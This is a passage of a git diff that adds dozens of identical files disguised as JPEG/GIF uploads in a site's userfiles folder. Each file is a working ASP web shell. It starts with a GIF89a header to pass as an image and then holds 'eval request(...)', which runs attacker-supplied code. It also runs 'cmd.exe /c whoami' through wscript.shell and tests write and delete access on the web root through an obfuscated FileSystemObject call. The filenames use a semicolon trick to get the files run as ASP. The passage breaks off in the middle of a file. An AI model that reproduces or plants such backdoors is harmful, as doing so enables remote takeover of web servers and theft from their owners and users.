+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(101).jpg b/userfiles/file/ali_asp;ali(101).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(102).jpg b/userfiles/file/ali_asp;ali(102).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(103).jpg b/userfiles/file/ali_asp;ali(103).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(104).jpg b/userfiles/file/ali_asp;ali(104).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(105).jpg b/userfiles/file/ali_asp;ali(105).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(106).jpg b/userfiles/file/ali_asp;ali(106).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(107).jpg b/userfiles/file/ali_asp;ali(107).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(108).jpg b/userfiles/file/ali_asp;ali(108).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(109).jpg b/userfiles/file/ali_asp;ali(109).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(11).jpg b/userfiles/file/ali_asp;ali(11).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(110).jpg b/userfiles/file/ali_asp;ali(110).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(111).jpg b/userfiles/file/ali_asp;ali(111).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(112).jpg b/userfiles/file/ali_asp;ali(112).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(113).jpg b/userfiles/file/ali_asp;ali(113).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(114).jpg b/userfiles/file/ali_asp;ali(114).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(115).jpg b/userfiles/file/ali_asp;ali(115).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(116).jpg b/userfiles/file/ali_asp;ali(116).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(117).jpg b/userfiles/file/ali_asp;ali(117).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(118).jpg b/userfiles/file/ali_asp;ali(118).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(119).jpg b/userfiles/file/ali_asp;ali(119).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(12).jpg b/userfiles/file/ali_asp;ali(12).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(120).jpg b/userfiles/file/ali_asp;ali(120).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(121).jpg b/userfiles/file/ali_asp;ali(121).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(122).jpg b/userfiles/file/ali_asp;ali(122).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
